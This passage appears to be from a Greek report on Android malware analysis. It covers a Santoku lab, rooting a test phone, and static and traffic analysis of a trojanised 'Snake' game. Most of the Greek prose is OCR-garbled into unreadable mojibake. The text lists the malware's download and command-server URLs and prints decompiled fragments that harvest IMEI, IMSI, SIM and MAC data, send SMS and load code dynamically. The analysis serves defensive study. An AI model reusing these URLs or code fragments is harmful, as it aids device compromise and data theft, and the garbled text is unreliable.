nMAnktpoloynoape oto notepad, kaBw¢ emiong KalL €va OTLYHLOTUTTIO 0006vVNG Tou
kataypapape katd tnv ektéleon tou binary. Mpokettal Aoutov yla €va keylogger, pia
KakOBouAn edappoyn n omoila kataypddel kabs aAAnAenidpacn Tou Xpnotn HUE TO
TIANKTPOAOYLO Kal TNV amoBnkelel o €va OpXElO TO oOmoio OMOCTEAAETAL OTOV
emtiBgpevo. Mmopel €toL va Slappevoouv mAnpodopieg 6w ol kwdikol mpodoBaong yla
To e-banking, email, facebook kat aAAa social media k.0.k aAAG Kol dAAa svaicBnta

TPOCoWTLKA Sedopéva.
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3. Malware Analysis (.apk version)

3.1 Testing Lab/Tools

To Santoku eivat pla mlatdopua avolktol Kwdika mou Baciletal oto Linux. ZKOmog
TOU OUYKEKPLUEVOU TIEPIBAAAOVTOG €lval N TAPOXN) OTOUG XPNOTEC ETOLUWV EPYAAELWV KaL
08Nywv ou Hnopouv va tov BonBriocouv otnv avaAluoh Tou, O TPELC CUYKEKPLUEVOUC TOLELS

(Hoog, SANTOKU, 2013):

- Mobile Forensics
- Mobile Malware

- Mobile Security

H £k8oon tou Santoku mou xpnotponowjcape ntav n 0.5, evw umapxel n Suvatotnta
yla xprion tou wc LiveCD ) va YIVEL KAVOVIKI gykatAaotoon o€ urtoAoylotr (Ewova 83). Epeig
eMAEEaE va To eykataotnooupe oe €va Virtual Machine mou £tpexe oe mepiBaliov

VMware® Workstation 15 Pro (Ewéva 84).

-

A -
xforcebesa = Boot IHoeNinssafe graphics mo

installl — stavt ‘the installer.divettly
memteS T = RITNMMCI SO S
hd. — boot the thrstehard disk

Ewkova 83 - Ertidoyec xpnorc Santoku

r|:| Santoku

P Power on this virtual machine
[[7 Edit virtual machine settings

¥ Devices
E=Memory 2GB
{’;}Processor; 1
[ Hard Disk (SCSI) 70GB
(%) CD/DVD (SATA) Using file C:\Use...
5 Network Adapter Bridged (Autom...
USB Controller Present
c]n Sound Card Auto detect
= Printer Present
[CIDisplay Auto detect

v Description

Type here to enter a description of this virtual
machine.

Ewova 84 - To configuration tou VM
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Ta mpo-gykateotnuéva epyoadsia mou €xel Sabéowa to Santoku Kkal pag
amooxOoAnoav otnv cUYKeKPLUEVN epyacia Bplokovtal taflvounuéva os Tpia Bactkd pevou

(Ewkdva 85):

e Device Forensics
e Penetration Testing

e Reverse Engineering

if Accessories
k. Graphics .
@ Internet ,
B Office ,
#a Programming >
v < Development Tools ’
H73 Sound & Video ’

Device Forensics »

© system Tools 5 Penetration Testing ’

£+ Preferences ; Reverse Engineering ’

@ Wireless Analyzers C
@ Help
2> Logout @ Tutorials

Y [:] -»[: « | [software Upd

Run

Ewkova 85 - To pevou tou Santoku

e QUTO TO onueio MapouclaloUpe Ta €pyaleio Tou Xpnolgomolndnkav yla tv
OTATIKNA KAl Suvaplkl avAaAucon Twv KakOBouAwv Selypdtwy Kot yla Tnv afloAoynon amo

TIAEUPAC A0DAAELAC KATIOLWV ETUAEYUEVWY EPOPUOYWV.

JD-GUI: Mpokettal ya €vav Java Decompiler pe tn BonBela tou omnoiouv sipaocte og Béon va
HeEAeTAOOUUE TOV Mnyaio kwdika (.class apyxeia) Twv KakOBouAwv edpappoywv. Alvel tn
duvartotnta, péow tou GUI, va e€stdooupe eUkoAa WG ivat Sounuévo €va malware kot va
HEAETACOUUE TNV ouuneplPopd TOU. XPNOLUOTIOLE(TAL Yyl TNV OTATIKA OVAAUCH TWV

Selypatwv.

Dex2jar: To epyaleio Sivel Tn Suvatotnta va HETATPEPOULE Eva apXelo .dex o€ .jar koL va To

e€eTAOOUE OTN OUVEXELD UE TN BorBesla kamolou Java Decompiler omwc to JD-GUI.

ZAP: MpokeLtal ya éva dSwpeadv, epyaleio mou xpnollomnoleital oto penetration testing kai
€xeL oxeblaotel eldka yla tn dokiun web applications. Eivat eUEAKTO KOl EMEKTACLLO. XTOV
mupnva tou, To ZAP amnoteAel £vav «pro-man-in-the-middle proxy». Bpioketal petafy tou
TIPOYPAUHOTOC TIEPLAYNONG TOU UTtELBUVOU SOKLUWVY Kal TNG EPAPUOYNG, WOTE VO UIMOpPEL va
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TapokoAoUBel Kal va EAEYXEL TA LNVULOTO TIOU OIOCTEAAOVTAL PETAEY TOU TIPOYPAUMOTOC
TLEPLAYNONG KO TNG EPOAPLOYAG, VA TPOTIOTIOLEL TO TIEPLEXOIEVO KOL OTN CUVEXELD VO TIPOWBEL

QUTA TA TIAKETA OTOV IPOOPLOUO TOUG.

Mobile Security Framework (MobSF): Mpokettal yla pio auTopatonotnuévn mAatdopua Iou
XPNOLUOTIOLELTAL YLa TN AVAAUGCT KAKOBOUAOU AoyLopLkoU Kal TNV afloAdynaon tng aohaielog
edappoywv Android/iOS/Windows. Elval tkavo va ekteAel otatikn Kot Suvaplkn availuon

Twv SelypdTwy.

ITNV €PEUVA MOC XPNOLIOTOLNOANE HME KNt ouokeurp SAMSUNG GALAXY A5,
OUYKEKPLUEVOA TO HOVTEADO pE KWOLIKO SM-A500FU (Ewkdva 86). ITn OUCKEUN UTIAPXE N £kdoon
6.0.1 Tou Android, evw eixape evepyonolnoel tnv emiloyn tou USB Debugging. EmumAéov
elyape amoktrosl root mpocBaon pe tn xprion tng edapuoyng Odin v.3.10.6 (Etkova 87Ewdva
87), Héow TN omolag petadoptwoape image mou £Kave To Aeyopevo “poutdplopa” (Ewdva

88) TNG CUOKEUNC.

Ovopa cuokeung
BERLIN LACASA (Galaxy A5)

Kwdkog povtelou
SM-AS500FU

‘Ekdoon Android
6.0.1

‘EkS. Aoylopikou aopdielag
ASKS v1.2 Release 161011
SMR Aug-2017 Release Q

Emtim. emduopb. aopal. Android
1 AuvyoloTtou 2017

‘Exdoon Baokol paouatog
AS00FUXXU1CPI2

‘Exdoaon Kernel
3.10.49-14143416
dpi@SWDH4623 #1
Thu Feb 7 19:09:32 KST 2019

Ewkova 86 - H ouokeun
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E3 Odin3 v3.10

2 A 2B

Dicom

Fies [Download]
Log Options  Pit ‘ |

<0SM > Enter CS for MDS..

<0SM> Check MDS5.. Do not unplug the cable. .

<0OSM> Please wat., B “s\Vasiis\Desktop\root a5\CF I 00fu. tar.md5 |

<05M:> CF-Auto-Root-aSulte-aSulteoc-sma 500fu. tar.mds

<0SM > Checking MDS5 finished sucessfully..

<OSM> Leave C5. |
Binary Size 34.1MB Mass DL >

Start Reset Exit

Ewkéva 87 - Odin

reparing cache ...
ounting ...

jooting (SuperSyu) ...

S22 R R R R )

perSU installer

"SRR ERRRER R LR

Mounting /system, /vendor,
Extracting files R
Detecting system compat;bxlxty

System-less mode, -boot image support required
Creating image

Mounting image

Creating paths

Removing old files

Placing files

/data and rootfs

AR R R RS )
Finding boot image

- Boot image: /dev/block/mmcblkOp16
Extracting ramdisk

Decompressing ramdisk (gzip)
Checking patch status

sepolicy
emon launcher
init soript
g nggz pointf .
4. re, fstabs, -
Creating ramdisk backup — o VeritY

Ewkova 88 - Atadikaoia rooting
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3.2 Installing the suspicious application (mobile app Snake)

MNa tnv Swadikacioc tou malware analysis opxlkd €MAEYOUPE TN HEAETN €VOG
kakoBoulou application game pe ovopa Snake. Mpotou euPabuvoupe otnv avaluon afilel
va avadEépoupe OtL To logo tng KakoBouAng edpappoync (Ewkéva 90) ival TOVOUOLOTUTIO PE
HLa avtiotolyn, VOuLun, ebpapuoyn tng Microsoft mou ovoudletatl Snake mania (Ewova 89).
IKOTOG AUTNG TNG OMoLOTNTAG Elval n MapartAdvnon Tou XproTh OTL TPOKELTOL YL TO VOULUO

application €toL wote va MPoXWPNROEL TEAKA, XWPLE va TO yvwpilel, O0TNV eyKATAOTACN TOU

BE Microsoft | Store  sofwaresapps < Games Al Micrasoft search £ =)
i Free
Snake mania
PSS Developer * Kids & family » Entertalnment “
‘Wish list
Kids 10 have 3ll the fun of old snake game. Enjoy the very basic experience of the Classic Snake game.
control the snake.
nake
Overview
Available on
[ Mobile device
Description
m Y rery basic exper

Ewkova 89 - Microsoft Snake mania

Snake

Ewdva 90 - Logo of malicious app
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3TN CUVEXELX TtAPABETOUNE KAmola amd ta permissions (Ewdva 91) mou {ntouvrtal
KATA TNV €ykotaotaon tng e£dapuoyns kat mapouctdloupe tnv edapuoyn-malware

EVKATEOTNUEVN TTAEOV OTN ouoKeun (Elkova 92).

% Snake

O£AETE va EYKATAOTHOETE Hia
EVNHEPWON OE AUTAV TNV LTIAPXOLCA
gpapyoyn; Ta urtapxovta dedouéva
oag dev 6a xabouv. H evnuepwpévn
epapyoyn Ba exeL pdopaocn oe:

BB avdyvwon Tou MEPLEXOPEVOL TNG
kaptag SD
Tportomoinon f Slaypagn MePLEXOPEVLV
kdptag SD.

€0pEON Aoyaplaopwy oTn CUOKELR

AQYn pwToypaplwy Kat Bivieo

B & @

oxediaon mavw og AAAEG EPUPHOYES
TPOTIOTOINON PUBICEWY CLUOTAKATOS

'

avdayvwon Katdotaong Kal TavtotnTag
TNAEPWVOL

AKYPQZH EFKATAZTAZH

Ewkova 91 - Requested permissions

% .4l 100% M 11:39

Eapuoyeg :

> Be

Samsung Mouotikn Vodafone AnyDesk
Members Menu

Fake BusyBox Packet Snake
Location Free Capture

Ewkéva 92 - Malicious app
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To game interface tng edpappoyng (Ewova 93, Ewdva 94), MOPATEUNEL OTO YVWOTO
rayvidt pLdakt. NoapdAa autd OTO MAPACKAVLO EKTEAELTAL Lo OELPA KAKOBOUAWY EVEPYELWY,

TIC oTtoieg Ba eEETACOUE PECW TNG OTATIKNAC KAl SUVAULKAG avaAuong tnG edapUoyng.

=

% .4 100x 0 11:42

Ewkova 93 - Game interface #1

A ©ip % .4 100% M 11:53
< Game » O
seore 0 (0) 00:00

Ewkova 94 - Game interface #2
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3.2.1 Static Properties Analysis & Manual Code Reversing

Ma tnv otatkn avaluon tng edapuoyns, Ue TANPEC ovopo com.bazaraa.snake,
XPNOLLOTIOLOUHE HLO OELPA EPYOAELWV TTOU pag BonBouv va amokTtooupe mpoofacn otov
Kw&Lka tNG. ApXLIKA, KAVOULE unzip (Ewkdva 95) To apk apxelo Kal EMELTA XPNOLLOTOLWVTOG TO
epyaleio dex2jar (Ewova 96) amod tn culhoyr tou Santoku, petatpénoupe to .dex apyeio o

.jar, yla voL LEAETCOUE EKTEVWCE TOV KWALKA java Tou “maiyvidlov”.

Ewkova 95 - Unzip apk

Ewkéva 96 - Convert dex to jar

MNapdAAnAa pe tn xprion tou apktool mou pog mapéxel to Santoku kavoupe decompile
to apk file (Ewova 97) mpokeévou va avaktriooupe to Manifest.xml kat kat’ eméktaon va

e€ayoupe mAnpodopleg yla ta permissions tng ebapuoyng.

Ewkéva 97 - Decompile apk
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H epappoyn Intd cuvoAikd 65 permissions (Ewdva 98 kat Ewova 99), mpayua UTONnTo
yla €va app HE OXETLKA QAR AELTOUPYLKOTNTA OMWC PUCLOAOYLKA £(val TO YVWOTO Tatyvidt

“bLdaxi”.

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.GET_ACCOUNTS"/>

<uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_EXTERMNAL_STORAGE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERMAL_STORAGE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"(>
<uses-permission android:name="android.permission.VIBRATE" />

<uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW"/>
<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.DISABLE_KEYGUARD"/>
<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.SYSTEM_ALERT WINDOW"/>
<uses-permission android:name="android.permission.ACCESS_NETWORK_STATE"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>

Ewkova 98 - Permissions #1

<uses-permission android:name="android.permission.RESTART_PACKAGES"/>
<uses-permission android:name="android.permission.READ_LOGS"/>

<uses-permission android:name="android.permission.WRITE_SETTINGS"/>
<uses-permission android:name="android.permission.CHANGE_NETWORK_STATE"/>
<uses-permission android:name="android.permission.CHANGE_WIFI_STATE"/>
<uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.KILL_BACKGROUND_PROCESSES"/>
<uses-permission android:name="android.permission.INTERNET"/>

<uses-permission android:name="android.permission.READ_PHONE_STATE"/>
<uses-permission android:name="android.permission.ACCESS_WIFI_STATE"/>
<uses-permission android:name="android.permission.ACCESS NETWORK_STATE"/>
<uses-permission android:name="android.permission.CAMERA"/>

<uses-permission android:name="android.permission.ACCESS_MTK_MMHW"/>
<uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/>
<uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
<uses-permission android:name="android.permission.WAKE_LOCK"/>

<uses-permission android:name="android.permission.GET_TASKS"/>

<uses-permission android:name="android.permission.SYSTEM_ALERT WINDOW"/>
<uses-permission android:name="android.permission.SYSTEM_OVERLAY_WINDOW"/>
<uses-permission android:name="com.android.launcher.permission.INSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.GET_PACKAGE_SIZE"/>
<uses-permission android:name="com.android.launcher.permission.UNINSTALL_SHORTCUT"/>
<uses-permission android:name="com.android.permission.UNINSTALL_SHORTCUT"/>
<uses-permission android:name="android.permission.ACCESS_DOWNLOAD_MANAGER"/>
<uses-permission android:name="android.permission.ACCESS_WAKE_LOCK"/>
<uses-permission android:name="android.intent.action.BOOT_COMPLETED"(>
<uses-permission android:name="android.permission.INSTALL_PACKAGES"/>
<uses-permission android:name="android.permission.DELETE_PACKAGES"/>
<uses-permission android:name="android.permission.PACKAGE_USAGE_STATS"/>
<uses-permission android:name="android.permission.GET ACCOUNTS"/>

Ewkova 99 - Permissions #2
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Y€ aUTO To onuelo mapaBétoupe ta Mo “evlladEpovta” permissions ou Bp£Onkav

oTNV mapanavw Alota:

RECEIVE_BOOT_COMPLETED: Emutpénet otnv edbappoyny T AQYPn  TOUL
ACTION_BOOT_COMPLETED mou petadidetal pHeTd TNV OAOKARPWON TNG EKKIVNONG
TOu ouotnuatog. Me daMa Aoyla, ETUTPENEL OTNV £dAPUOYN VA EEKLWVNOEL HOALG
oAokAnpwOel n ekkivnon.

INSTALL_PACKAGES: Emutpénel otnv edappoyr TNV EyKATACTACH TTAKETWV.
DELETED_PACKAGES: Emutpénel otnv edappoyn tn Staypadn makeETwy.
CHANGE_WIFI_STATE: Emupénel otnv edapuoyn tnv allayn Tng KATAOTAONG
ouvbeong Wi-Fi.

READ_LOGS: Emtpémnel otnv epappoyn tnv avayvwon low level system logs.
WRITE_SETTINGS: Emtpémnel otnv edapuoyn tnv eyypadn kol avayvwon Ttwv
puBuloEwV TOU cUOTAMATOC.

CHANGE_NETWORK_STATE: Emutpémnel otnv edappoyr tnv aAlayn TG KATAoTAONG
ouvdeonc oto Siktuo.

ACCESS_NETWORK_STATE: Emutpénel otnv edapugoyy TNV mpooBacn oOTLg
nmAnpodopieg Siktuou

GET_ACCOUNTS: Emtpémel otnv edpappoyn TtV NPOCBOON OTOUG UTIAPXOVIEG
AoyaplacpoUg oTn CUOKEUH Tou Xpnotn. Me authv tnv adsla, n epapuoyr amoktd
npoéoBaon otov TUTo Aoyaplacpol Kol 6TO OVOUd Xpriotn Tou Aoyaplacuou.
WRITE_EXTERNAL_STORAGE: Emutpémnel otnv ebappoyn tnv eyypadn oe eEwTePLKO
XWwpo amnodrkeuong.

READ_EXTERNAL_STORAGE: Entpénel otnv edappoyn TNV avayvwaon amno e€wTepko

Xwpo arnobrikevong.
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Mpoxwpwvtag éva Brpo TapaKATw, EEAYOULE, LECGW TNG EVTOANG strings (Ewdva 100),
OAeg TIC oupPorooelpég amod Tto classes.dex apyeio yia va Pafoupe yla tuxov mepiepya

strings.

Ewova 100 - EvtoAn strings

E€ayovtal mepinou 5000 cupBOAOCELPEG QVAUEDA OTLG OTIOLEG OPLOUEVEG UTIOTTTEG,
OTIWG OL TTAPOKATW TPELG TToU oxeTi(ovtal pe tn Ann dvo apk (Ewdva 101) ko evog jsp (Ewdva

102) apxeiwv amnod tpelg StadopeTikeég SleuBUVOELG.

h-I:I:p:,-",-"c:Iown.akwacc:ln.comfmyroapkfrootmasterdemo1 128 524.apk
http://106.186.17.81/rootmasterdemo1128_524.apk

Ewova 101 - Suspicious strings #1

I htep://21haowan.com/fapifadsDomain.jsp I

Ewdva 102 - Suspicious strings #2
Eniong e€ayovtal cupPolooelpeg OXETIKEG e MAnpodopleg yia T cpu (Ewdva 103)
oAAQ kot ToAAEG ou adopouv To /system Android directory (Ewkéva 104), OMwG auTr mou
oxetiletal pe to build.prop apxeio, £éva apyeio to omoio kaBopilel Tov TpOMO cUUNEPLPOPAC
TNG CUOKEUNG (AEMTOUEPELEG CUCKEUNG, TOU HOVTEAOU, TNG EMWVUHLaG, TnG €kdoong Android

K.ATL).

Ssysfdevices/system/cpu/f
5/sys/devices/system/cpufcpuld/cpufreq/cpuinfo_max_Freq

Ewova 103 - Suspicious strings #3

[system/bin/
/system/bin/cat
/system/build.prop
[system/lib
/system/sbin/
[system/vendor/lib
[system/xbin/

Ewkéva 104 - suspicious strings #4
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AkOun g€ayovtol apKeTEC CUUBOAOTELPEC TTOU €XOUV va KAvouv pe http SteuBuvoelg
(Ewova 105 kat Ewova 106). MdaAlota, n avaluon moMwv e€’autwv oto VirusTotal ta

KaTESEKVUEL WG KakoBouAa (Ewkova 107).

http://m.AEDXDRCB.COM/pmsg/api/
http:/fapi.gadmobs.comfoversea_adjust_and_download_write_redis/notify/download/app
http://log.appsolo.net/gkview/info/601
http://sys.aedxdrcb.com

http://sys.hdyfhpoi.com

http://sys.syllyg1n.com

http://sys.wksnkys7.com
http://down.akwacdn.com/myroapk/rootmasterdemo1128_524.apk
http://106.186.17.81/rootmasterdemo1128_524.apk
http://91haowan.com/apifadsDemain.jsp
http:/finterface.kokmobi.com/newservice/newbackDatas.action
http:/fadpic.kemoge.com/admobif3000008_1.png
http:/fappapk.kemoge.com/appmobif300010.apk
http://ad.adspoo.com/

http://ad.nknlife.com/

http://adm.kemoge.net/adClient.jsp
http://adpic.kemoge.com/admobi/30000082.png
http://ads.native123.com/

http://ads.native123.com/search.php
http:/fappapk.kemoge.com/appmobi/300010.apk
http:/finterface.234vs.com

http:/finterface.kokmobi.com
http:/finterface.kokmobi.com/newservice/newbackDatas.action
http:/finterface.madpush.com

Ewova 105 - Suspicious strings #5

http://interface.madpush.com/newservice/newbackDatas.action
http://interface.madpush.com/newservice/newgetApks.action
http://interface.madpush.com/newservice/newjsApk.action
http://interface.madpush.com/newservice/newopenOrSale.action
http://interface.mccpublish.com
http://interface.mccpublish.com/newservice
http://interface.mccpublish.com/newservice/newopenOrSale.action
http://interface1.kokmobi.com

http://interface1.mccpublish.com
http://interface2.mccpublish.com
http://interface3.mccpublish.com
http://rt.api.glispa.com/native/vi/ad

http://sdk.native123.com/

http://sdk.native123.com/config
http://sdk.native123.com/config?

http://sdk.native123.com/dzzb

http://tongji.adspoo.com/

hetp://ws.sd4face.com/getDisList
http:/fwww.bz55.com/uploads/allimg/130412/1-130412105647-50.jpg
https://play.google.com/store/
https://play.google.com/store/apps/details?

htte:,‘l",‘l"www.thinkandroid.cn

Ewova 106 - Suspicious strings #6

L]
4 (1) 4 engines detected this URL

— http://log.appsolo.net/

° log.appsolo.net

Ewkova 107 - VirusTotal analysis
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AkoAoUBwC, kavovTag xpron evog akopa epyaleiou amod tn cuAloyn tou Santoku, Tou
JD-GUI, elpaote o€ B€on va e€eTA00UUE AEMTOUEPWC TOV KWLKA java TN¢ edapuoync. MNpwrta,
napatnpoUpe ta dladopeTikad packages tou malware app (Ewkdva 108) KOL TIPOXWPAUE ME TN
HeAETN Tou Kwdika. MapdAAnAa, umoBaAloupe to Selypa mpog e€€taon Kol oto epyaleio
MobSF (Ewéva 109) Kal T OMOTEAECUOTA TIOU TIPOKUTITOUV TA XPNOLUOTIOLOUE oav odnyo
TIPOKELEVOU VO ECTLACOUE OTa oUoLWdN onpeia kabBwg e€etaloupe Tov Kwdika oto JD-GUI

epyaAeio.

)
File Edit Navigate Search Help
=z =@ ¥

classes-dex2jar.jar =

&

B3 android.support
# b.a.a

B com

1 his.da.act

B krue.hgm.vkd
i my

¥ ¥V ¥ ¥ ¥V ¥V ¥

Ewova 108 - ID-GUI app packages

ANDROID STATIC ANALYSIS REPORT

& Snake (1.0)

File Name: ¢f002a629319eaed04769adcfad03c58che19aa3a13674ad2be95e0balf5i59f.apk
Package Name: com.bazaraa.snake
Average CVSS Score: 6.1

App Security Score: 10/100 (CRITICAL RISK)

Ewdva 109 - AvaAuon tou Snake oto MobSF
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‘Exovtag w¢ odnyo ta amoteAéopoata mou €nxbnoav amd to MobSF (Ewéva 110)
Bpilokouue ta onueia, otov kwdika, ou oxetilovtal pe tn duvatotnta Tou malware va
Aappavel mAnpodopieg yia tn MAC Address (Ewkova 111), To Bluetooth Adapter (Ewova 111),
tov Sim Operator (Ewoéva 112) kaBwg kat tn duvatdtntd tou va otéAvel pnvopata SMS

(Ewdva 113).

Get WiFi Details com/fak/seb/d/b.java
bfa/a/b/l.java

Get Phone Number my/base/util/d.java
b.‘"‘a.‘ !

/j.java

Get SIM Provider Details com/fak/seb/d/b.java
com/thir/matd/c/e.java
com/tds/rtsr/stapublic/StaticUnit.java

Get SIM Serial Number krue/hgm/vkd/f/c.java

Get Subscriber ID krue/hgm/vkd/f/i.java
com/fak/seb/d/b.java

HTTP Connection my/base/e/b.java

krue/hgm/vkd/f/g.java
my/base/e/b/e.java

Send SMS my/base/util/a.java

Ewkova 110 - Ztatikn avaAuon tou Seiyuatoc oto epyaieio MobSF

Sstring str3 = ((WifiManager)paramContext.getSystemService("wifi")).getConnectionInfo().getMacAddress(});
string str4 = BluetoothAdapter.getDefaultAdapter().getAddress();

Ewkova 111 - MAC Address & Bluetooth

return ((TelephonyManager)paramContext.getSystemService("phone")).getSimOperator();

Ewkova 112 — SimOperator

public static void a(Context paramContext, String paramStringl, String paramString2)
{
if (paramContext == null)
throw new IllegalArgumentException();
SmsManager.getDefault().sendTextMessage(paramStringl, null, paramString2, PendingIntent.getBroadcast(paramContext, ©, new Intent(), @), null);

}

Ewkova 113 - SMS
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EmutAéov, mopouocialovpe to onupeia mou Aapfdavovrtol, amd TNV KAKOBOUAn

epappuoyn, mAnpodopieg yLa to oelplakd aplbuo SIM, tov aptBuoug IMEI (Eikova 114) kat IMSI

(Ewdva 115).

String strl
String str2

localTelephonyManager.getDeviceId();
localTelephonyManager.getsimSerialNumber(];

Ewkova 114 — IMEI & Sim

public static String d(Context paramContext)

{

if ((str != null) && (!str.equals("")))
return str;
return "00000000";
1

String str = ((TelephonyManager)paramContext.getSystemService("phone")).getSubscriberId();

Ewkova 115 - IMSI

MNapouoialoupe emniong tn duvatdtnta tng eGAPUOYNG VA TPAYHATOTOLEL CUVEEDELG

Héow NG Xprnong tng URL.openConnection(Ewkéva 116).

while (true)
{
localHttpURLConnection.setConnectTimeout(paramIntl);
localHttpURLConnection.setReadTimeout (paramInt2);
return localHttpURLConnection;
if ((localNetworkInfol != null) && (localNetworkInfol.isAvailable()))
{
String strl = localNetworkInfol.getExtraInfo(};
if (strl != null);
for (String str2 = strl.toLowerCase(); ; str2 = "")
{
e.alnew Object[] { "current APN", str2 });

break 1labell96;
localHttpURLConnection = (HttpURLConnection)localURL.openConnection(b);
break;
1
label196: if (str2.startswith("ctwap"))
localHttpURLConnection = (HttpURLConnection)localURL.openConnection(c);
else
localHttpURLConnection = (HttpURLConnection)localURL.openConnection();
}
else
{
localHttpURLConnection = (HttpURLConnection)localURL.openConnection(};
}
}

if ((!str2.startsWith("cmwap”)) && (!str2.startswWwith("uniwap")) && (!str2.startsWith("3gwap")))

Ewkova 116 - openConnection()
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Afloonpeiwtn ivat emiong n xprion t¢ DexClassLoader (Ewéva 118) p€ow TG omolag
doptwvovtal KAACELG oo £va apXELo TUTIOU jar f} apk Kal CUVENWG UMopEL va xpnotpomnolnBet
yla TNV eKTéAeon Kwdika ou Sev €xeL eykataotabel wg HéEpog piag edpappoyng. Kat og autnv

NV neplmtwon xpnowonoindnke wg odnyog n unddeién tou epyaleiou MobSF. (Ewkéva 117)

Dynamic Class and Dexloading b/afa/c/a.java
b/a/a/b/q.java
com/pking/Udcts.java
krue/hgm/vkd/c/b.java
com/offerscamp/b/a/c.java
b/a/a/a.java

Ewova 117 - Dynamic Class and Dexloading | MobSF

I a = new DexClasslLoader(localFilel.getAbsolutePath(), paramContext.getFilesDir().getAbsolutePath(), null, paramContext.getClassLoader()); I

Ewova 118 - DexClassLoader

Q¢ televtaio B, ota mMAaiola TG oTATIKAG avaAuong, e€staloupe To apxeio b.jar
1o omnolo e€nxBnoe katd to decompiling Tng edbapuoyns. Mo cuykekplpéva, kavovtag upload
TO apxelo oto virus total auto aviyveleTal w¢ KakOBoulo amod 15 mpoypAUpOTO TTPOOTACLOG

(Ewkova 119) kat €xel emonuavOet wg Java Trojan Agent.

1 5 (L; 15 engines detected this file

ea7743b6f92d58e16926h9ca3bdcdfd6d6a320a980b44f687681264f479d746d

b.jar

jar
Community
Score

Ewkéva 119 - b.jar virus total
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3.2.2 Interactive Behavior Analysis - Capturing the traffic

Mo va 6oUpe TV Kivnon Hetal TNG CUOKEUNG Kal TOU SIKTUOU XPNOLLOTIOLOUE EVal
oakopa epyaleio amnod tn culhoyn tou Santoku, to ZAP. To ZAP eival évag proxy server mou
Aettoupyel wg man in the middle kat pnopei va poag Swoel avaAuTIKA OAEG TLG ETUKOLVWVLES

TLG CUOKEUNG o€ eMinedo epapuoywVv OXETIKA e To dtadiktuo.

Ma va prnopéoel to ZAP va kataypaP et Kal TI¢ KpumrtoypadnUEVES ETIKOLVWVIEG elval
anapaitntn n dnuoupyla evog motomolnTikol (Ewdva 121) KAl n €ykATACTACN QUTOU OTn
OUOKeUN Hag. H dnuiloupyla Tou elval OXETLKA ATt KoL EMITUYXAVETAL Héoa armo ta Options

Kal to pevou Dynamic SSL Certificates (Ewdva 120) tou ZAP.

Options - + x

nInput Vectors Root CA certifica... [ oc iy CERTIFICATE-----

MIID7j CCAtagAWIBAGIEVL zeiDANBgkal

) T1dBUL AgWm vk TEFOJGFj ay B
NTdkMzYOOTgOMRY:

GOWOBAQUFADCEBhTENMCUGAL UEAwwe
/0T ENBHMRk wFw Y DVOQHDE! Mz U

NMThwNj E2MTELNZ
AgWm vk TEFOAGF] a

eprecate. -
tion (Deprecated) UWNTdk Mz Y 00T gOMRY
S

=SB
/FAYDVOOKDALPVOFT
QTELMAK GALUEBhMC

Sty T, T

Updates

ETkr
aL3KpAL1vNUL/4MLrel 1
QwBbe0Qz 7FL pKDAPBGNY

T

DILMUADWD!

LS view | |_kd save |

Ewkéva 120 - H énutoupylia tou miotomotntikou tou ZAP

Ewkéva 121 - To miotormotntiko tou ZAP
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H eykotdotaon otn GUOKEUN Hag, €lval €miong armAr Kol EMITUYXAVETOL HE TNV
HETAPOPA TOU TILOTOTOLNTLIKOU OE QUTH Kol TNV €KTéEAeor) tou (Ewodva 122). H cuoKkeun pag
PWTAEL OXETLKA [LE TNV XPNON TOU TILOTOMOLNTIKOU Omou emAéyoupe yia VPN kat Edappoyég
oAAA kat yio WiFi (Ewova 123). TEAog onuavtikd eival ot pubuioelg touv WiFi pag va
eTAEEOUE TNV Xprion Proxy otnv omola SnAwvoupe tnv IP tou VM mnou Bpioketal to Santoku

Kall Kt eméktoon To ZAP.

MioTomownTiké acpaleiag
OWASP Zed Attack Proxy.. ¥

Ex508nke yia:
Kowoé évopa
OWASP Zed Attack Proxy Root CA

Opyaviopog
OWASP Root CA

OpyavwTikr
OWASP ZAF

Zelplakog aplepog
BC:BC:DE:88

Exboon ano:

Koo dvopa

OWASP Zed Attack Proxy Root CA
Opyaviopog

OWASP Root CA

OpyavwTiki povada:
OWASP ZAP Root CA

OK

Ewkéva 122 - To mLOTOMOLNTIKO OTN CUCKEUN

& Ta Apxeia Mov A Q

Download

m ef002a629319ea...0ba1f5f59f.apk

| Ovopa motonontikod ok

[ ‘Ovopa moTomoLNTIKoL

I Xpnotpomotnenke yia
VPN kat epapuoyeg
